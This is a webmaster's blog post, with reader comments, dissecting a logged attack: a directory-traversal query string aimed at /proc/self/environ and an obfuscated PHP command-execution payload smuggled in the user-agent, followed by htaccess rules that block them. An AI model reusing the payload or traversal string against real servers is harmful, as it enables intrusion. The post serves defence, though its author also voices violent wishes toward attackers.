Evil Incarnate, but Easily Blocked
As my readers know, I spend a lot of time digging through error logs, preventing attacks, and reporting results. Occasionally, some moron will pull a stunt that deserves exposure, public humiliation, and banishment. There is certainly no lack of this type of nonsense, as many of you are well-aware.
3G Blacklist
Even so, I have to admit that I am very happy with my latest strategy against crackers, spammers, and other scumbags, namely, the 3G Blacklist. Since implementing this effective HTAccess security method, I have seen a dramatic decrease in the overall volume of malicious activity recorded in my Apache, PHP, and 404 error logs. Thankfully, the 3G Blacklist has kept things pretty quiet around here, at least as far as malicious activity is concerned. In fact, it has been awhile since I’ve seen anything worthy of sharing with you — until now.
Evil Incarnate
The depths to which spammers and crackers sink never ceases to amaze me. From cryptic character strings and cloaked IP information to SQL injection and denial-of-service attacks, I’ve seen my share of sinister business hitting the server. Not much surprises me these days, but seeing a few log entries like this certainly caught my attention:
TIME: September 2nd 2008, 10:00am
404: *https://perishablepress.com/press/2007/10/01/htaccess-combo-pack-wordpress-permalinks-and-non-www-redirect/index.php?l=/../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ
SITE: https://perishablepress.com/
SOURCE: Perishable/Perishable
REFERRER:
QUERY STRING: l=/../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ
REMOTE ADDRESS: 213.203.223.59
USER AGENT: <? $x0e=\\\"\\\\145x\\\\x65\\\\x63\\\"; $x0f=\\\"\\\\x66eo\\\\146\\\";
$x10=\\\"\\\\x66\\\\x72ea\\\\x64\\\";
$x11=\\\"\\\\146un\\\\x63\\\\164io\\\\x6e\\\\x5f\\\\x65x\\\\151s\\\\x74\\\\x73\\\";
$x12=\\\"i\\\\163\\\\x5f\\\\162\\\\x65s\\\\157ur\\\\x63\\\\x65\\\"; $x13=\\\"\\\\152\\\\157\\\\x69\\\\156\\\";
$x14=\\\"o\\\\142_g\\\\145t\\\\x5f\\\\x63o\\\\156\\\\164en\\\\x74\\\\x73\\\";
$x15=\\\"ob\\\\137\\\\x65\\\\156d\\\\137\\\\x63lea\\\\156\\\"; $x16=\\\"\\\\x6fb_st\\\\x61\\\\x72\\\\164\\\";
$x17=\\\"\\\\x70\\\\141\\\\163s\\\\164\\\\x68\\\\162\\\\165\\\"; $x18=\\\"\\\\x70\\\\143\\\\154ose\\\";
$x19=\\\"p\\\\157\\\\160e\\\\x6e\\\"; $x1a=\\\"\\\\163h\\\\145\\\\154l\\\\137\\\\x65\\\\170e\\\\143\\\";
$x1b=\\\"\\\\x73\\\\x79s\\\\x74e\\\\x6d\\\";
function x0b($x0b){ global $x0e,$x0f,$x10,$x11,$x12,$x13,$x14,$x15,$x16,$x17,$x18,$x19,$x1a,$x1b;
$x0c = \\\'\\\'; if (!empty($x0b)) {if($x11(\\\'exec\\\')) {@$x0e($x0b,$x0c);$x0c = $x13(\\\"\\\\n\\\",$x0c);
}elseif($x11(\\\'shell_exec\\\')) {$x0c = @$x1a($x0b); }elseif($x11(\\\'system\\\')) {@$x16();@$x1b($x0b);$x0c =
@$x14();@$x15(); }elseif($x11(\\\'passthru\\\')) {@$x16();@$x17($x0b);$x0c = @$x14();@$x15(); }elseif(@$x12($x0d =
@$x19($x0b,\\\"\\\\x72\\\"))){ $x0c = \\\"\\\"; while(!@$x0f($x0d)) { $x0c .= @$x10($x0d,1024); } @$x18($x0d);} }
return $x0c;}echo x0b(\\\"ec\\\\150\\\\157\\\\x20c\\\\1624n\\\\153\\\\137\\\\x72oc\\\\153s\\\");?>
REMOTE IDENTITY:
DUDE!! — WTF is up with that!?!?! Did you check out the user-agent
on that thing!? And what about that query string? How far up the directory structure did you want to go? I mean, seriously.. that is some evil business right there. Somebody clearly put a lot of effort into that one, obviously intending to do some major damage to something deep within the server. What kind of depraved, evil bastard is writing this stuff?
Even worse, what kind of scumbag loser is going around probing random servers with this demented nonsense? I don’t know, and don’t even know if I want to know. Messing with other people’s property like that — you should be hung out and shot dead, twice in the face.
Child’s Play
Fortunately, stopping this ebil nonsense is easier than flushing a toilet. First, let’s block that nasty query-string by adding the following line to the Query String section of the 3G Blacklist1:
RewriteCond %{QUERY_STRING} \.\.\/ [NC,OR]
Next, let’s seal the deal by blocking any user agents containing scripted information. Do this by adding the following lines to the User Agent section of the 3G Blacklist:
SetEnvIfNoCase User-Agent "shell_exec" keep_out
SetEnvIfNoCase User-Agent "passthru" keep_out
SetEnvIfNoCase User-Agent "function" keep_out
Or, if you would like to use this protective method by itself (i.e., independent of the 3G Blacklist), simply drop this code into your site’s web-accessible HTAccess file to enjoy complete protection against such attacks:
# block evil incarnate query strings
<ifmodule mod_rewrite.c>
RewriteCond %{QUERY_STRING} \.\.\/ [NC,OR]
RewriteRule .* - [F,L]
</ifmodule>
# block evil incarnate user agents
SetEnvIfNoCase User-Agent "shell_exec" keep_out
SetEnvIfNoCase User-Agent "passthru" keep_out
SetEnvIfNoCase User-Agent "function" keep_out
<Limit GET POST>
order allow,deny
allow from all
deny from env=keep_out
</Limit>
The first part of this code is basically telling Apache to kick to the curb any requests for URLs with query strings containing the “../
” character string. There is no reason this string should ever appear in legitimate URLs.
Then, the second part of this code simply blocks any user agents containing the terms “shell_exec
”, “passthru
”, or “function
”. Again, there is no reason for these strings to appear in legitimate user-agent strings.
There are actually many different ways to block this type of aggressive attack, but I think targeting the URL/query-string attack vector while blocking scripts in the user-agent
string will prove the most effective. Think of it as breaking both legs and one arm of the attacker (i.e., the query string may be changed, but there is no way around the blocked scripts). Of course, I will be keeping a close eye on this type of attempted exploit, and will certainly post afresh with any further information, suggested updates, edits, additions, etc.
Footnotes
1 This protection will also be included in the upcoming 4G Blacklist.
6 responses to “Evil Incarnate, but Easily Blocked”
Wouldn’t blocking “../” prevent things like style sheets from referencing images relatively in different directories?
For instance, if a theme is set up like this:
/theme/
/theme/custom/
/theme/images/
If the style sheet in /custom/ needs to refer to one of the Theme’s image, it must use “../images/” to get there. Wouldn’t that be blocked?
No sir, we are blocking query strings and user agents here. Stylesheets and other external resources are not affected.
Oh, I see what you did there. :)
I’m glad you’ve figured that out! Malicious spam can be such a pain to deal with!
As a webmaster, you definitely should use user-agent headers to manager server traffic. But understand that this is purely a pragmatic tactic and not a serious security measure.
I wrote more about this here:
Webmaster Tips: Blocking Selected User-Agents (404 link removed 2017/01/21)
Trust me, when your site is hosted on a shared server, this is as serious as it gets.. ;)